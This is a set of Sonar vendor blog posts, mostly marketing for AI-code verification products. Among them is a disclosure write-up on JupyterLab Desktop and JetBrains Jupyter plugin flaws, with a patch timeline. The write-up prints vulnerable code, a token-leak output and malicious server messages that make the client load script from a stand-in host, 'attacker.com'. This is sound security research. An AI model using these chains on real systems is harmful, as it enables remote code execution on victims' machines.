Instead of treating code generation as a standalone act, the AC/DC’s three core pillars (Guide, Verify, and Solve) operate across agentic, CI/CD verification and code maintenance loops. Agents are guided by the organization’s standards before they build, their output is verified both during generation and before it reaches the main codebase, and issues are fed back into the cycle for resolution.

For regulated industries, that is the meaningful change. AI can accelerate creation, but AC/DC provides the operating model that keeps speed connected to control. SonarQube supplies the independent verification layer that makes this practical across teams, tools, and contributors.

Build the systems AI now makes possible

The opportunity created by AI is not centered around speed, its main value is in enabling the kind of innovation regulated industries have always needed but have often struggled to deliver: software that reflects how the business actually works, built closer to the people who understand it, at a pace that matches business demand.

SonarQube makes that model sustainable. It allows organizations to expand AI-assisted development while maintaining confidence in the security, reliability, and maintainability of what gets built. Its impact is proven across industries, from fintech leader Xero and technology giant Cisco to AI-native global digital agency DEPT.

For regulated industries, that is the standard AI raises. The advantage will not come from generating more code alone, but from building internal solutions that allow the business to move faster while still meeting the expectations for security, reliability, and control. And SonarQube is here for you to make sure that the force multiplier effect of AI doesn’t become a risk multiplier – get in touch with us to learn more.

Introducing SonarQube Hunter Agent(beta): Catch logic flaws, as you code.

Satinder Khasriya — Thu, 09 Jul 2026 13:00:00 GMT

AI coding assistants have created a verification problem that nobody fully anticipated. Developers are now merging more code in a single sprint than they could write in a month just two years ago. The volume is real, the productivity gains are real, and the security gap it opens is equally real.

The problem is not that AI writes bad code. The problem is that AI writes access control logic, permission flows, and business workflows at a pace no human reviewer can keep up with. The vulnerabilities that live in that layer—broken access control, business logic flaws, and authentication and session management flaws—are exactly the kinds of issues traditional automated scanning struggles to catch. These flaws do not live in a code pattern. They live in the gap between what a system is supposed to do and what it actually does. A scanner cannot see that gap. An attacker can.

This is the verification challenge of the AI development era: more code, more business logic, more access control decisions, and no scalable way to check whether any of it enforces the right rules.

Security teams have historically relied on manual whitebox code audits to close this gap. These audits mean working through a codebase with full access to the source: reasoning about authorization logic, tracing permission flows, and identifying where enforcement breaks down. This kind of review surfaces what automated scanners miss. But it does not scale, and it happens after the code has already been written and reviewed, which means it’s too late.

SonarQube Hunter Agent brings the same depth of reasoning—a structured, whitebox analysis of authorization logic and business rules—to the moment a developer writes the code. That is the shift. And that shift changes what you can actually do about a finding.

Beyond structure- where logic vulnerabilities live

Sonar's SAST engine is exceptionally good at what it was built to do. It catches SQL injection, cross-site scripting, path traversal, and hundreds of other vulnerability classes with precision and speed, finding structural flaws in code before they can be exploited. For these issues, static analysis is fast, scalable, and highly accurate.

But there is a class of vulnerability that lives outside the reach of any structural analysis, not because of a limitation in the tool, but because of the nature of the problem itself.

Is this endpoint supposed to be accessible by any authenticated user, or only the account owner? Does the application verify that the user requesting /invoices/8472 has the right to see that invoice, or does it just return it? These are questions of intent and business logic, and answering them requires a different kind of analysis on top of what SAST already provides.

SAST catches structural flaws. SonarQube Hunter Agent catches logic flaws. Together, they cover the full picture.

What SonarQube Hunter Agent actually does

SonarQube Hunter Agent is a new AI-powered security agent built on top of Sonar's existing analysis infrastructure that targets logic-level vulnerabilities. Hunter Agent works through structured multi-step analysis flows called Playbooks. A single Playbook covers the following three classes of vulnerabilities:

Broken access control: Issues such as IDOR, missing/incorrect authorization checks, privilege escalation, sensitive data exposure, CSRF
Business logic vulnerabilities: Skipping required workflow steps, abusing repeatable actions, missing rate limits
Authentication & session management flaws: Broken auth, session fixation, non-expiring sessions, weak password recovery, missing MFA, brute-force gaps

It does not ask a model a single question and wait for an answer. It runs through a deliberate sequence: discovering endpoints, mapping the access control and authentication logic, reasoning about behavioral intent, verifying whether enforcement matches that intent, and finally confirming the finding. Each finding includes the full discovery path so you can see exactly how the agent reached its conclusion. No black box, no single-shot inference.

Because Hunter Agent is built on Sonar's Foundation Agent harness rather than a raw LLM call, its results are consistent from run to run. This matters more than it might seem. An AI scanning tool that produces 47 findings on Monday and 14 findings on the same codebase on Wednesday cannot be operationalized. Security programs need results that can be triaged, escalated, and reported. Reproducibility is not a nice-to-have—it’s a design requirement.

Why security agents matters now

Agent-driven development has changed the math. AI coding assistants are generating endpoints, access control logic, and permission flows at a pace no security team can manually review. The attack surface is expanding in every sprint. The vulnerability classes that are hardest to catch automatically are exactly the ones that AI-generated code tends to get wrong, not because of a flaw in the AI, but because business logic correctness requires context that no code generator fully has.

Hunter Agent brings the structured code-audit reasoning that security teams have always relied on human experts to provide, and it applies that reasoning at the moment the code is written, inside the workflow developers already use.

How to access SonarQube Hunter Agent

The SonarQube Hunter Agent beta is now available to SonarQube Cloud customers with the Enterprise plan. Findings surface in your existing SonarQube workflow, tagged with "hunter-agent" for easy triage, with no new tool to learn. Access opens today. Once you log into your SonarQube Cloud, you will see the option to enroll directly within the product.

Ready to join the beta? Sign up using your existing SonarQube Cloud Enterprise plan.

More than just data: The hidden security risks in Jupyter notebooks

Yaniv Nizry — Mon, 06 Jul 2026 13:00:00 GMT

Jupyter notebooks are a powerful tool for data scientists, researchers and developers, and their use has been boosted by the increasing popularity of AI and data science. They provide a flexible and interactive environment for combining live code, narrative text, equations, and visualizations in a single document called a notebook, allowing for rapid prototyping, data exploration, and reproducible research.

Our latest research focused on two popular Jupyter implementations that extend its functionality beyond the traditional web-based server: JupyterLab Desktop and the JetBrains Jupyter plugin. We discovered critical vulnerabilities that allow attackers to fully compromise a victim’s machine with minimal user interaction. In this blog post we’ll detail these vulnerabilities, explain how attackers could have exploited them, and how they were patched.

Impact

Our findings in JupyterLab Desktop include Cross-Site Scripting (XSS), command injection, and a token leak (CVE-2025-59842) that allow an attacker to execute arbitrary code on the victim’s machine when an unsuspecting user connects to an arbitrary Jupyter server or clicks on a link within a malicious notebook in untrusted mode.

In the Jupyter plugin of JetBrains, the impact is an XSS leading to remote code execution (CVE-2026-25847), which depends on the environment. In the worst-case scenario, a victim who has a JetBrains IDE with a notebook tab open is susceptible to remote code execution when visiting a malicious website.

Users are strongly advised to update to the latest versions to mitigate these risks. The JetBrains Jupyter plugin vulnerability was fixed in PyCharm 2025.3.2 (CVE-2026-25847). Please note that JupyterLab Desktop is no longer actively maintained and will not receive security updates; users are recommended to migrate to an alternative.

The following video demonstrates how an attacker could have exploited these vulnerabilities:

More than just data: The hidden security risks in Jupyter notebooks

Technical details

Background

The Jupyter ecosystem is a collection of open-source projects designed to provide developers and researchers with interactive computing and reproducible research. Without getting into much detail, here are the important components to get familiarized with before diving into the vulnerabilities details:

The classic Jupyter Notebook is a web-based application that offers a simple, document-centric interface for combining live code, narrative text, equations, and visualizations.
Its evolution, JupyterLab, is a more modern, IDE-like interface that allows you to work with multiple notebooks, terminals, and other tools in a single, customizable workspace.
The entire system is powered by the Jupyter Server, a backend server that acts as the central hub, managing communication between the user interface and a separate process called a kernel. A kernel (not to be confused with your operating system's kernel) is what actually executes your code. The most common kernel is IPython for Python, but others exist for different languages like R and Julia. The notebook interface sends the code you write to the server, which then relays it to the correct kernel for execution.

Dive deeper into the architecture of the Jupyter ecosystem here: https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html

Thanks to its popularity, many IDEs now offer support for the Jupyter Notebook format, either through built-in features or via extensions. For example, the Jupyter extension for Visual Studio Code is incredibly popular, with over 100 million downloads, making it one of the most downloaded extensions in the marketplace.

JupyterLab Desktop: From XSS to command injection

JupyterLab Desktop is a cross-platform application that allows users to run JupyterLab as a standalone desktop application rather than a web-based server. Written in Electron, with security practices in mind, JupyterLab Desktop is configured safely with nodeIntegration: false, and contextIsolation: true settings, essentially limiting the capabilities of the JavaScript code.

In addition to that, the security model separates each view to a different entity, exposing only the required IPC methods for each window:

For example, the settingsdialog window will have different IPC methods exposed vs the welcomeview one. This ensures the least privileged model, making sure that even if an attacker manages to compromise a certain window, they will be restricted to its capabilities.

In addition to the exposure limitation, some IPC listeners also implement a protection mechanism on the receiver end, verifying that the initiator of the request is the intended window. For example, the IPC EventTypeMain.InstallBundledPythonEnv is sensitive and could execute code if called by an attacker, so it verifies that only the _managePythonEnvDialog window can perform the action:

this._evm.registerEventHandler(
      EventTypeMain.InstallBundledPythonEnv,
      async (event, envPath: string) => {
        // for security, make sure event is sent from the dialog when path is specified
        if (
          envPath &&
          event.sender !== this._managePythonEnvDialog?.window?.webContents
        ) {
          return;
        }

During our research, we found a XSS vulnerability in the WelcomeView and the RemoteServerSelectDialog windows, when a user is trying to connect to a remote server:

The URL provided by the user is inserted into the HTML without any encoding or sanitization in both the server list of RemoteServerSelectDialog:

menuItem.innerHTML = server.url + `<svg class="delete-button" ...`

And the recent session tooltip in the WelcomeView:

tooltip = `${recentSession.remoteURL}\nSession data ...`

Resulting in XSS in both windows.

The WelcomeView window is particularly powerful from an attacker's perspective since it can initiate any IPC message using the sendMessageToMain function. Despite some IPC listeners verifying the window that initiated the request (as described before), we found an interesting IPC listener that doesn’t verify the initiator window: set-server-launch-args. When JupyterLab Desktop loads, the given value is concatenated into a command string as an argument and then executed, making it vulnerable to command injection:

if (serverInfo.serverArgs) {
    launchCmd += ` ${serverInfo.serverArgs}`;
}
//...
script = `
        //...
        ${launchCmd}`;
    }
//...
launchScriptPath = createTempFile(`launch.${ext}`, script);
//...
execFile(launchScriptPath, execOptions)

For this to execute immediately, an attacker can use a different IPC call to restart the application:

electronAPI.sendMessageToMain("restart-app")

Putting it all together, an attacker would need to convince a victim to connect to a server URL to exploit this vulnerability. Immediately after doing so, the attacker-controlled JavaScript code will execute in the WelcomeView window and, using the command injection in the IPC call, run arbitrary commands on the victim’s machine.

JupyterLab desktop: token leak leading to remote code execution (CVE-2025-59842)

So we've discussed a vulnerability in one of the most powerful windows, WelcomeView, but now let’s shift our focus to the most limited window and how its restrictions can be circumvented. But before that, let's first clarify more concepts about Jupyter:

Client-Server Separation: As mentioned earlier, the Jupyter environment is fundamentally split into two distinct processes:
- The Client (Jupyter notebook/lab): The graphical application the user sees, responsible for the user interface and file management.
- The Server (Jupyter Server): The component that handles the actual code execution.
Jupyter Server Authentication: Since the Jupyter Server is designed to execute code, it must prevent unauthorized access. There are several ways for organizations running Jupyter to set up their authentication/authorization flows, but by default, Jupyter Server uses token authentication. Upon startup, it generates a unique, random token. This token can be provided to the server either via a URL query parameter or using the Authorization header within each request.
Default File Handling in Desktop: When you install JupyterLab Desktop, it is configured to be the default handler for Jupyter notebook files (.ipynb). Opening a notebook file causes the application to launch a new, dedicated, local Jupyter server instance. This server runs on a random port and uses the default token authentication mechanism mentioned above. So while the code is viewed and executed locally, it's actually using two different components.
Notebook Trust Model: Notebook files are often shared, meaning users frequently open notebooks written by others, which poses a security risk (e.g., executing malicious code upon viewing). To mitigate this, Jupyter employs a Trust Model:
- Notebooks are initially "untrusted", preventing immediate execution of potentially malicious code when first opened.
- A notebook becomes "trusted" only after the user explicitly executes a code cell within it. Once trusted, a unique signature is stored in a local database, confirming the user's intent to run the code in that specific document.

When a user connects to a Jupyter session, either remote or local, JupyterLab Desktop will use the LabView window. This window, in the electron context, is considered untrusted as arbitrary JavaScript code can be executed there by design, and because of this, the exposed IPC methods are only:

getServerInfo - Returns information about the destination server.
broadcastLabUIReady - Broadcasts that the UI is loaded.

Which, at first glance, don’t seem to pose any security issues. However, we noticed that regardless of the change in destination (redirection, user navigation, etc.), the getServerInfo will always return the full URL of the initial destination.

This is where getServerInfo poses a risk: if an attacker manages to change the window destination of a local notebook to their malicious website, they could run this IPC call and leak the randomized port alongside the token of the victim’s local Jupyter server instance, since the token is reflected in the URL as a parameter.

> electronAPI.getServerInfo().then(a=>{console.log(a)})
>>> {type: 'local', environment: {…}, workingDirectory: '/Users/user', defaultKernel: 'python3', url: 'http://localhost:61182/lab?token=jlab:srvr:2c9b07607d444de9d593345532bc78b454adfa'}

However, if a victim opens a shared notebook, it will be "untrusted" at first, and untrusted notebooks are sanitized in order to prevent any JavaScript execution. On top of that, any anchor element will have the target=_blank and noopener attributes, making a click on such a link open a new window without any IPC methods or references to the notebook’s LabView window.

But there was one path where Jupyter notebook missed adding the anchor element attributes. By providing support for LaTeX syntax for users to write mathematical formulas, Jupyter uses the JavaScript MathJax package, which has extension support. Because of the html extension, users can create a link using the \href{url}{math} syntax. This results in an "unsanitized" anchor element (only the URL scheme is sanitized on the MathJax side). Now, if a victim clicks on this link, the redirection will be in the same window of the notebook, allowing the next destination to call getServerInfo and leak sensitive information about the server.

Since the server uses a token as the authentication method, and by default Jupyter server allows Cross-Origin Resource Sharing (CORS) requests when done with a token, the attacker can now exploit the available REST API of the Jupyter server to upload a new malicious notebook, make it "trusted", and navigate to it for arbitrary code execution on the victim's machine.

JetBrains’ Jupyter plugin: built-in server XSS leading to code execution (CVE-2026-25847)

Up until now, we looked at the official JupyterLab Desktop application, but as mentioned earlier, thanks to Jupyter’s popularity, many IDEs offer support for the Jupyter Notebook format. JetBrains, the company behind popular IDEs like PyCharm and IntelliJ, provides a Jupyter plugin that integrates notebook functionality directly into their development environments, which is bundled by default in PyCharm.

When JetBrains IDEs are running, a built-in server will launch in the background on port 63342 (the port is incremented if occupied until reaching an available one). This server is used for various features, such as viewing files in the browser or installing plugins from the JetBrains Marketplace website. Additionally, plugins can define endpoint handlers within their plugin.xml file that leverage this server to perform custom tasks via the browser/REST API.

Since this server performs tasks that might be sensitive, like viewing local files, there are some protections in place to prevent untrusted actors from executing certain requests. The main protection is the isAccessible function, which checks if the request is made from a trusted website (for example, JetBrains-specific domains or localhost) by checking the Origin or Referer headers.

We have noticed that when viewing a Jupyter notebook in an IDE with the official plugin installed, the notebook is rendered using a custom server endpoint located at: /jupyter/index.html?url=<jupyter-server-ws-url>. The url parameter is pointing to a Jupyter server websocket destination. Interestingly, there was no validation on the url parameter, allowing the client to connect to an arbitrary WebSocket URL.

But how can an attacker exploit this? We have learned that the component that executes code is the Jupyter server. So what could a malicious server do on a client?

Here, we need to introduce another Jupyter core component: Jupyter Widgets. They provide custom interactive controls such as sliders, buttons, and maps that can be embedded directly into a notebook. This allows developers to create more dynamic dashboards and user interfaces, transforming a static notebook into an interactive tool. Since widgets are running on the client side, the majority of their code is written in JavaScript.

So an attacker can create a malicious Jupyter server and send the following messages:

{"type":"ScriptManagerMessage","code":"IPyWidgets_BaseUrl_Response","payload":"http://attacker.com:8000"}

{"type":"ScriptManagerMessage","code":"IPyWidgets_WidgetScriptSource_Response","payload":{"moduleName":"test","source":"http://example.com","scriptUri":"test.js"}}

{"header": {"msg_type":"comm_open"}, "content":{"comm_id":"setset","target_name":"jupyter.widget","data":{"state":{"_model_name":"test","_model_module":"test","_model_module_version":"2"}}},"metadata": {"version":"2"}}

The first one, IPyWidgets_BaseUrl_Response, sets the require.js base URL to the attacker’s server URL.
The second message IPyWidgets_WidgetScriptSource_Response sets information regarding a widget, defining a name (test) and a script URI (test.js).
At last, in the comm_open message, the server asks the UI to load a widget. By using the same widget name we set before (test), the notebook will fetch the attacker's JavaScript code and execute it.

This will result in XSS once the user visits a malicious link. In the context of a JetBrains IDE, this vulnerability allows an attacker to circumvent the critical isAccessible function of the local server.

This is where the impact of the attack can vary, depending on what is available on the built-in JetBrains server, an attacker can do various actions. To demonstrate the worst impact of this attack, we installed the official Stream Deck plugin, which allows many powerful IDE actions to be performed using the REST API, such as opening a terminal (/api/action/Terminal.OpenInReworkedTerminal) and pasting command into the terminal (/api/action/Terminal.Paste). Combining this with the XSS, an attacker can execute arbitrary code on the victim’s machine only by visiting a malicious website.

Patch

Unfortunately, the first vulnerability in JupyterLab Desktop was never fixed. Shortly after we sent our advisory to the maintainers, they added a note to the project stating that it is no longer actively maintained and will not receive security updates. We recommend that users switch to an alternative.

The second vulnerability was fixed in the main JupyterLab repo by moving the anchor hardening to happen after any typesetting. This makes sure that all <a> tags have rel="noopener" and target="_blank" attributes.

The JetBrains Jupyter plugin vulnerability was fixed by no longer allowing the url parameter to point to arbitrary URLs.

Timeline

Date	Action
2025-08-14	We report all issues to Jupyter maintainers
2025-08-14	Jupyter maintainers confirm the issues
2025-08-14	Jupyter maintainers create GHSA-2mr8-962v-wc67 and GHSA-vrj4-r4fw-9rfh
2025-08-14	Jupyter maintainers add a note to the project, stating that Jupyter Desktop will not receive security bug fixes going forward
2025-08-21	Jupyter maintainers create GHSA-vvfj-2jqx-52jm (JupyterLab web version)
2025-08-22	Jupyter maintainers fix the "LaTeX not enforcing the `noopener` attribute" vulnerability
2025-08-28	We report all issues to JetBrains
2025-08-28	JetBrains acknowledges the report
2025-09-25	We help JetBrains with reproducing the finding, going back and forth several times
2025-09-25	We help Jupyter maintainers with reproducing the finding in JupyterLab desktop
2025-09-25	Jupyter maintainers publish GHSA-vvfj-2jqx-52jm and assign CVE-2025-59842
2025-10-05	JetBrains tracks it internally and is working on a fix
2025-10-11	JetBrains asks for an extension of the 90-day disclosure window
2025-12-16	We ping JetBrains, asking for an update
2026-01-27	JetBrains releases a fix in PyCharm 2025.3.2 and assigns CVE-2026-25847

Summary

In this blog post, we looked at how a seemingly simple XSS flaw in Jupyter client tools can escalate into full machine compromise. By chaining this with a token leak and command injection, attackers can achieve remote code execution just by tricking a victim into opening a malicious notebook or connecting to a rogue server.

As notebooks become a standard part of modern AI and data science workflows, the client-side tools we use to open them need the same level of security scrutiny as the code we write inside them. Ultimately, untrusted notebooks should be treated with the exact same caution as an untrusted executable

Finally, we want to thank the vendors, Jupyter and JetBrains, for addressing and patching these issues.

SonarQube plugins bring trusted verification to Claude Code, Copilot, Codex, Cursor, and others in the agentic loop

Brooks Naylor — Wed, 01 Jul 2026 13:00:00 GMT

Why code verification matters now

Your agents generate code faster than anyone can read it, let alone trust it. Developers run Claude Code in the terminal, prompt GitHub Copilot in VS Code, spin up Codex CLI, and build inside Cursor, often switching between several tools in a single day.

Each of those tools generates code to its own implicit quality bar. That fragmentation is the problem. Without independent verification, AI-generated code moves toward production without a consistent safety net.

SonarQube is built to solve exactly that. It now meets developers and AI tools wherever they generate code, applying one, independent verification standard across every agentic workflow. The result: no quality gaps between tools, teams, or environments.

The cost of fragmented verification

Adopting multiple AI coding tools sounds like progress, but without a shared verification layer, it becomes a risk.

Without a shared verification layer, each agent produces code to a different quality bar, introducing quality and security drift into the same codebase. And when verification only happens in CI, it arrives too late—after the coding agent has moved on and fixing the issue costs time, focus, and momentum.

The consequence is verification debt: AI-generated code moving toward production faster than anyone can validate it. That debt compounds into outages, security incidents, and technical debt that slows your release cycle.

Sonar's answer is the Agent Centric Development Cycle (AC/DC): a framework for guiding agents with the right context and constraints, verifying what they generate in real time, and solving issues before they leave the agentic loop. The integrations below help you put AC/DC into practice across every major AI coding tool.

SonarQube plugins and integrations make verification available across the AI coding ecosystem

Sonar has built plugins that provide native coverage for every major AI coding tool. Here is where SonarQube now fits into the agentic coding ecosystem.

Claude Code

The SonarQube plugin for Claude Code packages skills, agents, hooks, and the SonarQube MCP Server, giving Claude full access to SonarQube's code quality and security analysis within the agentic coding loop, without leaving the terminal. That means code smells, duplication, complexity, and SAST across nearly every language developers use, governed by your quality profiles and gates. And every file Claude reads and every prompt you enter is comprehensively scanned for secrets before it enters the LLM context window.

Read the launch post: Now available: SonarQube plugin for Claude Code | Get started: Set up the SonarQube plugin for Claude Code

GitHub Copilot

SonarQube integrates with GitHub Copilot in the IDE so Copilot-generated output can be checked against your existing quality and security standards as code is written. Your Copilot output gets verified against the standards your team already enforces in CI.

Read the launch post: Now available: SonarQube plugin for GitHub Copilot CLI | Get started: Set up the SonarQube plugin for GitHub Copilot CLI

Agent App for GitHub

The SonarQube Agent App brings code verification directly into the GitHub agentic workflow. It is @-mentionable in issues and pull requests, assignable to tasks, and visible in Mission Control. When invoked in the CI verification loop, it authenticates via OIDC, runs verification against your quality gate, and surfaces findings where the code is written, not minutes or hours later in a pipeline. From there, coding agents can remediate issues in context, helping teams close the loop without leaving GitHub.

Read the launch post: SonarQube Agent App in GitHub | Get started: Set up the SonarQube Agent App for GitHub

OpenAI Codex CLI

The SonarQube plugin for Codex brings verification directly into Codex CLI, so AI-assisted coding tasks are checked within the agentic loop against SonarQube standards as a part of generation, not after the fact.

Read the launch post: SonarQube plugin for Codex | Get started: Set up the SonarQube plugin for Codex

Cursor

SonarQube connects directly to the Cursor IDE, letting its agent communicate with SonarQube Server and Cloud. Cursor-generated code is checked against your SonarQube standards as it is written, bringing independent verification into the agentic loop.

Read the launch post: SonarQube plugin for Cursor | Get started: Set up the SonarQube plugin for Cursor

Antigravity CLI

The SonarQube plugin for Antigravity brings independent, algorithmic verification into the Antigravity agent session through dedicated /sonarqube:* skills and the SonarQube MCP Server, surfacing open issues, quality gate status, code coverage, dependency risks, and secrets scanning without leaving the session where code is being written. The SonarQube CLI powers the integration, wiring authentication, hooks, and rules into the project in a single command.

Read the launch post: SonarQube plugin for Antigravity | Get started: Set up the SonarQube plugin for Antigravity

How Sonar powers the plugins

These plugins are built on a common Sonar foundation that brings verification directly into the agentic and CI loops: the SonarQube MCP Server, the SonarQube CLI, and Sonar Vortex.

SonarQube MCP Server

The SonarQube MCP Server is how AI agents access SonarQube as a native toolset. Through the MCP Server, agents can analyze code snippets, retrieve issues, check quality gate status, inspect security hotspots, measure coverage, find duplications, and check dependencies for vulnerabilities, all from natural-language prompts without leaving the editor. It works with SonarQube Cloud through a zero-install native endpoint and with SonarQube Server through a self-hosted Docker deployment.

SonarQube CLI

The fastest path from zero to verified. With a lightweight setup, teams get secrets scanning before content reaches an LLM, and on-demand code analysis via agentic loop verification. Every developer on the team gets one configuration and one quality bar, with the same protections for everyone, regardless of which AI coding tool they use. No manual setup, no per-tool configuration drift.

Sonar Vortex

Sonar Vortex is the core capability that brings Guide and Verify together inside the agentic loop. Sonar Vortex gives AI coding agents the right project-specific context and constraints before they write any code, then verifies what they generate in real time against SonarQube’s standards. That means agents are not working from generic prompts alone. They are guided by your architecture, coding conventions, and quality constraints from the start, and then comprehensively verified, providing immediate feedback to your agents so they can fix any issues before they can compound. The result is faster iteration, better first-pass output, and trusted verification inside the workflow where code is actually written.

What these plugins mean for your team

One standard, consistently applied everywhere, changes how confidently you can adopt AI. Verification stops being a downstream gate you hope holds and becomes a constant presence inside the tools where code is actually written.

Catch issues where code is generated. Real-time, pre-PR verification fixes routine mistakes during generation, so fewer problems reach review and your PR review process can focus on architecture and logic.
Apply one verification standard across every tool. One SonarQube instance, one set of rules, one quality gate from sandbox to merge, no matter how many agents your developers run.
Scale AI adoption without scaling risk. Developers who verify their code with SonarQube are 44 percent less likely to report outages due to AI-generated code. (Source: 2026 Sonar State of Code Developer Survey, n=1,149)

Bring trusted verification into your AI coding tools

AI velocity without verification is just technical debt on a faster timeline. SonarQube closes the gap between how fast agents generate code and how fast teams can verify it, meeting developers in every tool they use from the first prompt to the final merge.

Ready to begin? Use these blueprints to get started with SonarQube integrations for your AI coding tool, and bring consistent verification to every agentic workflow on your team.

All blueprints and get-started guides

Cut your coding agent's cost with Sonar Vortex

Abbas Sabra — Tue, 30 Jun 2026 13:00:00 GMT

We recently released a new navigation engine as part of Sonar Vortex, the unified product that combines Sonar Context Augmentation and SonarQube Agentic Analysis that were previously in beta. Access to these capabilities is through the SonarQube CLI and SonarQube MCP Server. The graph navigation engine keeps a live, always-current map of the code across Java, Python, JavaScript and TypeScript, C#, and Rust. Instead of hunting through the code file by file with text-search tools like grep, the agent asks direct questions to the map about how the code fits together. A text search matches characters in files. The engine understands the structure of your code and answers questions about it directly: what implements this interface, what calls this method, what is the type hierarchy of this class, and what references this symbol. The agent does not just locate the code, it navigates and understands the relationships within it.

The engine delivers two things:

Lower AI usage cost: The agent stops doing tool-call read storms, because a single structural query returns the complete set of places to change instead of forcing the agent to grep, read, and reconstruct that set by hand.
A more complete solution: The same exhaustive enumeration makes the agent less likely to miss a location that must change, including the locations a text search never surfaces.

This article measures the first, usage cost, in detail, and explains the second, complete solution, along the way.

In short, our research found six usage cost wins across Java, Python, TypeScript, and C#, with up to 36% reduced token consumption and cost per run, on a specific and recognizable shape of refactoring work. The navigation engine will not help on tasks where navigation is not the constraint. If the agent is already working from sufficient context, or the task does not require traversing code structure, the engine has nothing to accelerate. We measured specific refactoring work tasks where the usage cost stayed within a few percent of the baseline. This article explains what the engine does, how we measured it, and where it wins when compared to not using Sonar Context Augmentation.

How coding agents navigate code today

When a software developer gives a coding agent a task, they describe what it should do, but do not include the file and line of where every change should be made. That is the normal way to work, and it means the agent arrives without a map. Discovering where the code has to change is its job, not the prompt's. So it builds that map by hand: grep a name, read the files that come back, infer the relationships, grep the next name, read more, and repeat until it believes it has the full picture. Grep, find, and read are the only tools it has, and none of these tools understand the code, so the agent has to assemble that understanding itself, one file at a time.

Every file the agent reads to build that map stays resident in the conversation context for the rest of the run, because the agent keeps file contents around to reason over and to edit. This is important because: agent usage cost is roughly the number of turns multiplied by the resident context carried on each turn. Everything that makes a run expensive reduces to either more turns or more context carried every turn.

The consequence is that token usage cost is compounded by two factors from a tool-call read storm. It adds turns: each grep, each read, each inference is a turn. Plus it raises the resident-context floor for the rest of the run. Every file opened stays in context and is re-read on every subsequent turn. A structural question that the agent can only approximate by matching names and then reading to sort signal from noise is exactly the kind of question that produces this compounded cost.

Where grep and find fall short in code navigation

It is worth being fair to grep first, because in the right use cases, it is often the right tool. For text search it is fast, it needs no index, and it works on any repository in any language the instant the agent arrives. When a name produces roughly as many hits as there are real sites to change (a noise ratio near one to one), grep lands directly on the answer and there is nothing to improve. A large number of sites to change does not by itself create a problem. What creates a problem is when text search cannot cheaply enumerate the set.

Where grep falls short is that it matches only characters, not coding relationships. It cannot answer a structural question. It can only approximate it by name.

Grep breaks down in three distinct ways:

The noise flood: The name you search for really does appear at every place in the code you need to change, but it also appears at many places you do not, so the matches are mostly chaff. The agent cannot immediately tell which hits are the correct ones from the text of the match alone. It opens and reads file after file to separate the real sites from the rest, and every file it opens stays in context for the rest of the run. The cost is not in the search itself, it is in reading and retaining the files the search forces. We measured exactly this on one task. A grep on the relevant type name returned about 461 hits against only 16 real edit sites, a noise ratio of roughly 29 to 1.
The invisible site: Here the location in the code that must change shares no text with the thing the agent searched for, so the search never surfaces the correct location at all. This happens whenever the connection between two pieces of code is structural rather than textual. A class can implement an interface without ever naming it on the lines that need editing. A method can be called indirectly, through a layer that hides the name, so the call site reads nothing like the method. In all of these cases the relationship is real and the text is invisible. So a grep-driven agent either misses the site or has to reconstruct the relationship by reading, which puts it right back in the noise flood. An engine that understands the structure returns these sites directly without having to reconstruct the relationship.
The false match: Here the text matches, but it points at the wrong thing, because the same name can mean different things in different places and a text search has no way to tell them apart. Two methods can share a name through overloading while taking different arguments, so only one of them is the one you mean. A local variable can shadow a field, or the same identifier can name unrelated symbols in different classes, namespaces, or scopes. The agent gets a list of hits that all look alike and cannot tell from the text which ones are the symbol it cares about, so it either edits the wrong site, which is a bug, or reads each candidate to rule it out, which puts it right back in the noise flood. Telling these apart is a question about identity, not characters, and it is what a structural engine answers directly: it returns the references to the one symbol you mean and leaves its namesakes alone.

The invisible site is not only a usage cost problem, it is a correctness problem, and that is where the second benefit of the engine comes in. In a rename with no backward-compatible aliases, a missed site simply fails to compile, which is loud and caught by a build gate. But in a signature or behavior change reached indirectly, a missed location often still compiles and then misbehaves at runtime. The test suite may not exercise that path, so it ships as a silent bug. An exhaustive structural enumeration is the difference between catching that location and shipping the bug. This is the completeness benefit, and it is why an engine that understands relationships is worth more than a quick grep.

How our graph navigation engine solves the grep problem

The engine maintains a single in-memory graph of the code that spans every supported programming language and updates as you edit. Nodes are the things in your code: modules, classes, interfaces, enums, records and structs, methods and functions, fields, parameters, and annotations. Edges are the relationships between them: this method calls that one, this class implements that interface, this type extends that one, this symbol references that one. Every node and every edge carries its file path and line location, which is what lets a query hand back exact edit locations rather than names to go look up.

How the graph is built

The graph is built without a compiler, a linter, a language server, or a network call. The engine reads each source file directly and links references across files into a project-wide call graph, which is what lets it work on code that does not yet compile. The cross-file linking is shared across programming languages and only the per-file reading is language-specific, so the engine answers the same structural queries across every language it supports.

Built for the agent's inner loop

What matters in the agent's inner loop, where the code is often mid-edit and is not being compiled, is speed and availability. Full graph generation for about 1,000 source files takes a few seconds and runs once at startup. It runs again to refresh the graph in about a millisecond after each code edit, fast enough that the agent never waits on it. That work is a local computation running in-process next to the agent, not billed model turns. So it does not enter the model-usage cost this article measures and does not consume tokens. Because it does not depend on a compiler, it parses any syntactically plausible file, so the graph is available throughout code generation, not only when the code compiles. It runs locally, with no compilation step, no language server, and no network call. The engine re-scans changed files on demand to always stay current.

A small trade-off of type-resolution precision is given up against a compiler or a language server in exchange for availability and freshness, which are the properties that matter most when the agent is mid-edit. It identifies the symbols in the code very accurately. However, it is less precise about every edge between them, because it approximates call targets from the calling code rather than fully resolving types the way a compiler would. In practice that means it is excellent at enumerating the members of a hierarchy or the declarations of a symbol. Additionally, it is good but not perfect at tracing every call edge, which is exactly the balance the agent's inner loop needs.

What structural queries can AI agents run with graph navigation?

The engine exposes a small set of structural queries. Each resolves relationships by symbol identity rather than by text, and returns exact file and line locations:

search-signatures: find where symbols are declared, matched by name or signature pattern, so the result is the set of declarations rather than every textual mention of the name.
search-bodies: find where a symbol is actually used inside method and function bodies, separating real usage sites from declarations, comments, and strings.
get-source: retrieve the resolved source of a symbol by its fully qualified name, so the agent reads the exact definition it means and not a same-named lookalike.
trace-callers: walk the call graph inward from a symbol, directly and transitively up the chain, to find what reaches it, including callers that share no text with it.
trace-callees: walk the call graph outward, to whatever depth a task needs, to find what a symbol calls.
get-type-hierarchy: resolve the full type tree of a class or interface, its supertypes, subtypes, and every implementor, transitively, including the anonymous, nested, and test types whose declaration never names it.
get-references: enumerate every site that references one specific symbol, with exact line anchors, resolved to that symbol so its overloads and namesakes are not mixed in.

